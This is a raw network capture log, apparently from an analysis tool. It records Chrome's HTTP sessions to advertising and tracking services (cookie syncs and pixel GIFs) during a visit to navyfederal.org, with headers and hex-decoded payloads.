2024-05-24 22:46:24 UTC	572	IN	HTTP/1.1 302 Date: Fri, 24 May 2024 22:46:24 GMT Content-Length: 0 Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tvid=2e247ec5d7b741389a3d7fc50db78097; Domain=.tremorhub.com; Expires=Sun, 25-May-2025 04:34:44 GMT; Path=/; Secure; SameSite=None Set-Cookie: tv_UIAM=6d9f1ca49fc6424c8d48d9194e42ee06; Domain=.tremorhub.com; Expires=Mon, 25-May-2026 10:23:04 GMT; Path=/; Secure; SameSite=None Location: https://s.amazon-adsystem.com/ecm3?ex=telaria.com&id=6d9f1ca49fc6424c8d48d9194e42ee06

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.6	50266	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	623	OUT	GET /ddm/fls/z/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:24 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:24 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.6	50268	3.90.71.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	359	OUT	GET /event/track HTTP/1.1 Host: events.api.boomtrain.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:24 UTC	292	IN	HTTP/1.1 400 Bad Request Date: Fri, 24 May 2024 22:46:24 GMT Content-Length: 20 Connection: close Server: nginx access-control-allow-origin: * access-control-allow-headers: X-Requested-With, Content-Type, Authorization, x-app-id access-control-allow-methods: GET, PUT, POST, DELETE
2024-05-24 22:46:24 UTC	20	IN	Data Raw: 62 73 69 6e 20 63 61 6e 6e 6f 74 20 62 65 20 65 6d 70 74 79 Data Ascii: bsin cannot be empty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.6	50258	87.248.119.252	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	691	OUT	GET /setuid?bidder=amazon&uid=hF_6AjJIQ_mVNmbe3VJbug HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes
2024-05-24 22:46:24 UTC	589	IN	HTTP/1.1 451 Unknown vary: Origin content-type: text/plain; charset=utf-8 content-length: 57 date: Fri, 24 May 2024 22:46:24 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-24 22:46:24 UTC	57	IN	Data Raw: 54 68 65 20 67 64 70 72 5f 63 6f 6e 73 65 6e 74 20 73 74 72 69 6e 67 20 70 72 65 76 65 6e 74 73 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 62 65 69 6e 67 20 73 61 76 65 64 Data Ascii: The gdpr_consent string prevents cookies from being saved

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.6	50261	35.156.5.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	610	OUT	GET /amazon/pixel.gif?https://s.amazon-adsystem.com/ecm3?ex=luc.id&id= HTTP/1.1 Host: usersync.samplicio.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:24 UTC	356	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:24 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Location: https://s.amazon-adsystem.com/ecm3?ex=luc.id&id= Pragma: no-cache X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 X-Tyk-Trace-Id: 2ce991387c4b33bc90a1676d2f1cb9ec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.6	50262	54.196.238.50	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	614	OUT	GET /cookie_sync?https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsamba.tv%26id%3D HTTP/1.1 Host: ads.samba.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:24 UTC	942	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 94 Connection: close Accept-Ch: Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: HEAD,OPTIONS,GET Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'self' Critical-Ch: Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Location: https://s.amazon-adsystem.com/ecm3?ex=samba.tv&id=13186bcb0db7cd621 Set-Cookie: sambapxid=13186bcb0db7cd621; Expires=Tue, 24 Jun 2025 22:46:24 GMT; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN
2024-05-24 22:46:24 UTC	94	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 65 63 6d 33 3f 65 78 3d 73 61 6d 62 61 2e 74 76 26 61 6d 70 3b 69 64 3d 31 33 31 38 36 62 63 62 30 64 62 37 63 64 36 32 31 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://s.amazon-adsystem.com/ecm3?ex=samba.tv&id=13186bcb0db7cd621">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.6	50259	3.160.214.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	572	OUT	GET /ads/idsync?cid=a706a6beb&ex=imdb.com HTTP/1.1 Host: www.imdb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:24 UTC	1217	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Server: Server Date: Fri, 24 May 2024 22:46:24 GMT x-amz-rid: 5BJBK3W61JKJ5SXXVPGK X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy-Report-Only: default-src https://.amazon.com https://.media-amazon.com https://.ssl-images-amazon.com https://.amazon-adsystem.com; script-src https://.amazon.com https://.media-amazon.com https://.ssl-images-amazon.com https://.amazon-adsystem.com 'unsafe-inline' 'unsafe-eval'; style-src https://.amazon.com https://.media-amazon.com https://.ssl-images-amazon.com https://.amazon-adsystem.com 'unsafe-inline'; report-uri /1/batch/2/OE/mid=ATVPDKIKX0DER:sid=:rid=5BJBK3W61JKJ5SXXVPGK:sn=www.imdb.com Location: https://s.amazon-adsystem.com/ecm3?rcode=1&ex=imdb.com Strict-Transport-Security: max-age=31536000; includeSubDomains X-Robots-Tag: noindex, nofollow Vary: Content-Type,Accept-Encoding,User-Agent X-Cache: Miss from cloudfront Via: 1.1 4f02e80a6fa43c1c48cfe770bb183bc0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP53-P3 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: fXImLzGgEv9enhuoinF6F0kY4Fl3LBBliiU4GXtSUM_iQMjGjFhCDA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.6	50269	149.202.238.105	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	492	OUT	GET /redir/?partnerid=144&partneruserid=poRxPnFRToW5GcMxEIDgag HTTP/1.1 Host: rtb-csync.smartadserver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pid=913620667793503806; TestIfCookieP=ok; csync=144:poRxPnFRToW5GcMxEIDgag
2024-05-24 22:46:24 UTC	377	IN	HTTP/1.1 200 OK content-type: image/gif date: Fri, 24 May 2024 22:46:24 GMT cache-control: no-cache,no-store pragma: no-cache set-cookie: csync=144:poRxPnFRToW5GcMxEIDgag; expires=Sat, 24 May 2025 22:46:24 GMT; domain=smartadserver.com; path=/; SameSite=None; secure transfer-encoding: chunked p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" connection: close
2024-05-24 22:46:24 UTC	54	IN	Data Raw: 32 42 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2BGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.6	50272	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	1187	OUT	GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&pf= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<CxrEQF']wIg2E?d?=+XZ!A#Fk.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd@<@(tGb<PaZ<TwnZC)v$x]PPd6z+4'bA#zs`eP9n?:Oi`A>PlZ[C[-kX-_fd_
2024-05-24 22:46:25 UTC	1662	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: f78de848-e3db-4e37-b110-e3f6f994239d Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:25 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>AfryWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:25 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:25 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:25 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.6	50276	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	642	OUT	GET /ecm3?ex=indexHMT&id=ZlEYv9HM66QAAATEATLXcQAA HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: XB363QGWPJJQ9NAPC9M5 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.6	50277	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	653	OUT	GET /ecm3?ex=telaria.com&id=6d9f1ca49fc6424c8d48d9194e42ee06 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: KVBPC2NVB3124G7JAJH0 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.6	50278	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	649	OUT	GET /ecm3?ex=rubiconprojectHMT&id=I97FTHEgRGeEc_KKO6uUGg HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 037SHBA97ECS0FCF5G03 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.6	50280	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	635	OUT	GET /ecm3?ex=samba.tv&id=13186bcb0db7cd621 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: VTWR6Q4QXB3H46VCBWKE Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.6	50284	54.171.118.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	772	OUT	GET /ibs:dpid=139200&dpuuid=oHMoPODTR7yFxwxKimYXJA&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dadobe.com%26id%3D%24%7BDD_UUID%7D HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253; dpm=15028710952493579300771312513576972253
2024-05-24 22:46:25 UTC	936	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:25 GMT Content-Length: 0 Connection: close X-TID: KNI+AHRPRFo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Location: https://s.amazon-adsystem.com/ecm3?ex=adobe.com&id=15028710952493579300771312513576972253 DCS: dcs-prod-irl1-1-v061-06435bc30.edge-irl1.demdex.com 2 ms set-cookie: dpm=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:46:25 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:46:25 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.6	50285	34.160.236.64	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	650	OUT	GET /t/v2?tagid=V2_393725&AMAZON_REGION_SPECIFIC_ENDPOINT=s.amazon-adsystem.com&src.visitorID=QuQQgT4bTdi8lt4D-bUJOw HTTP/1.1 Host: odr.mookie1.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:25 UTC	298	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 42 Last-Modified: Thu, 19 Oct 2023 06:07:48 GMT ETag: "6530c7b4-2a" Accept-Ranges: bytes Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.6	50286	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
